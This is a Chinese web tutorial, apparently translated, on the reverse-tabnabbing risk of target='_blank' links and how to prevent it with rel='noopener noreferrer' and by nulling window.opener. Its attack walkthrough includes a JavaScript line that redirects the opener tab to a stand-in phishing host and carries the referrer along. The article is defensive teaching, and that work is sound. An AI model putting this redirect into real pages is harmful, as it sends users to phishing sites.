网站首页 > 知识剖析 正文
通常,在网页中使用链接时,如果希望浏览器在新选项卡中打开指定的 URL,就会在 a 标记上添加属性 target = “_blank”。
但也恰恰是这个属性为网络钓鱼攻击者提供了可趁之机。
基础知识
parent 和 opener
在谈论 opener 之前,让我们首先看一下<iframe>中的 parent。
我们知道,用于父子页面交互的对象通常是在<iframe>中提供的,这个对象就是 window.parent。我们可以通过 window.parent 对象从 iframe 的页面中访问父页面的 window 对象。
opener 与 parent 一样,但它只用于通过<a target="_blank">在新标签页中打开页面。你可以直接使用 window.opener 从通过<a target="_blank">打开的页面中访问源页面的 window 对象。
同域和跨域
浏览器提供了完整的跨域保护功能。当域名相同时,parent 对象和 opener 对象都是父页面的 window 对象。当域名不同时,parent 和 opener 是 global 对象。这个 global 对象只提供对属性的非常有限的访问,而且不允许访问大多数属性(如果尝试访问它们将直接抛出 DOMException)。
在<iframe>中,提供了一个 sandbox 属性来控制 iframe 中页面的权限,因此即使在同一个域中,也可以控制<iframe>的安全性。
如何利用漏洞
如果你的网站上有一个使用 target = “_ blank”的链接,一旦用户点击该链接并进入新标签页,如果新标签页的网页上有恶意代码,用户将直接被导航到虚假网站。这个时候,如果用户返回到你的标签页,他们将看到已被替换的页面。
步骤
1. 你的网站 https://example.com 上有一个链接:
<a href="https://an.evil.site" target="_blank">Enter an "evil" website</a>
2. 用户单击这个链接,并在新选项卡上打开新页面。网站可以通过 HTTP 标头中的 Referer 属性确定用户的来源。
并且网页中包含类似这样的 JavaScript 代码:
const url = encodeURIComponent('{{header.referer}}');
window.opener.location.replace('https://a.fake.site/?' + url);
3. 现在,用户继续浏览新选项卡,而原始的选项卡已导航到 https://a.fake.site/?https%3A%2F%2Fexample.com%2F。
4. 恶意网站 https://a.fake.site 根据查询字符串伪造了一个用于欺骗用户的页面(你也可以在此期间再次跳转,让浏览器地址栏中的地址看起来更令人困惑)。
5. 用户关闭 https://an.evil.site 选项卡,并返回原始网站,但你会发现根本回不去了。
上述攻击步骤在跨域的场景中有效。因为在跨域时,opener 对象与 parent 对象是一样的,两者都受到了限制,都只提供非常有限的访问属性。而在仅有的少数属性中,大多数都不允许被访问(如果试图访问它们将直接抛出 DOMException)。
但在跨域的场景中,opener 仍然可以调用 location.replace 方法,而 parent 则不能。
如果是在同一个域中(例如网站上的页面嵌入了恶意代码),情况会严重得多。
如何防御
<iframe>提供了 sandbox 属性,你可以通过以下方式来使用链接:
1.Referrer Policy 和 noreferrer
在上述攻击步骤中,HTTP 标头中包含了 Referer 属性。实际上,你可以将 Referrer Policy 添加到 HTTP 的响应标头中来保护链接源的隐私。
你需要通过修改后端代码来实现 Referrer Policy。在前端,你还可以通过将<a>标签的 rel 属性指定为“noreferrer”来确保链接源的隐私。
<a href="https://an.evil.site" target="_blank" rel="noreferrer">Enter an "evil" website</a>
不过,需要注意的是,即使你限制了 referer 的传递,仍然无法防止原始页面被恶意重定向。
2.noopener
出于安全方面的考虑,现代浏览器允许将<a>标签的 rel 属性指定为“noopener”,因此在打开的新选项卡中,opener 对象将不再可用,因为它已被设置为 null。
<a href="https://an.evil.site" target="_blank" rel="noopener">Enter an "evil" website</a>
3.JavaScript
noopener 属性似乎解决了所有问题,但你仍然需要考虑浏览器的兼容性问题。
如你所见,大多数浏览器现在都支持 rel = “noopener”。但是,对于那些稍微陈旧一点的浏览器和古老的浏览器,只有 noopener 属性是不够的。
因此,你必须使用以下这样的 JavaScript 代码。
"use strict";
function openUrl(url) {
var newTab = window.open();
newTab.opener = null;
newTab.location = url;
}
最好的建议
首先,如果你的网站链接使用了 target = “_ blank”,那么也应该将 rel = “noopener”添加链接中(建议也添加 rel = “noreferrer”)。例如:
<a href="https://an.evil.site" target="_blank" rel="noopener noreferrer">Enter an "evil" website</a>
当然,当跳转到第三方网站时,可以为了 SEO 添加 rel = “nofollow”,所以最终会像这样:
<a href="https://an.evil.site" target="_blank" rel="noopener noreferrer nofollow">Enter an "evil" website</a>
性能
最后,我们来谈谈性能问题。
如果网站使用了<a target="_blank">,则新打开的选项卡的性能将影响当前页面。这个时候,如果在新打开的页面中执行非常臃肿的 JavaScript 脚本,原始选项卡将受到影响,并且会出现停滞现象(当然,它不会卡住)。
如果将 noopener 添加到链接中,则两个选项卡不会相互干扰,因此原始页面的性能不会受到新页面的影响。
英文原文
The Hidden Dangers You Have Never Noticed: target = “_blank” and “opener”
关注我并转发此篇文章,私信我“领取资料”,即可免费获得InfoQ价值4999元迷你书!
- 上一篇: 怎么捕捞金枪鱼 金枪鱼的捕捞技术
- 下一篇: 让我们来看看常见的网页挂马方式!
猜你喜欢
- 2024-11-17 微信公众号发送客服消息---菜单消息,卡片消息
- 2024-11-17 4.页面结构(页面结构元素)
- 2024-11-17 JavaScript代码的三种引入方式【操作演示】
- 2024-11-17 我们为什么要使用 href="javascript:void(0)"
- 2024-11-17 一、学爬虫前,你需要知道的爬虫常识
- 2024-11-17 我只用一个txt文档,就将公众号里面的所有文章列表提取出来
- 2024-11-17 码畜在工作中总结的知识点,记录一下
- 2024-11-17 04元素类型(元素种类总结)
- 2024-11-17 H5 nav元素的作用&应用场合(互联网应用与北斗系统在其中的作用)
- 2024-11-17 2024 年 PWA 无法与 Native 媲美的 7 个特性
- 最近发表
- 标签列表
-
- xml (46)
- css animation (57)
- array_slice (60)
- htmlspecialchars (54)
- position: absolute (54)
- datediff函数 (47)
- array_pop (49)
- jsmap (52)
- toggleclass (43)
- console.time (63)
- .sql (41)
- ahref (40)
- js json.parse (59)
- html复选框 (60)
- css 透明 (44)
- css 颜色 (47)
- php replace (41)
- css nth-child (48)
- min-height (40)
- xml schema (44)
- css 最后一个元素 (46)
- location.origin (44)
- table border (49)
- html tr (40)
- video controls (49)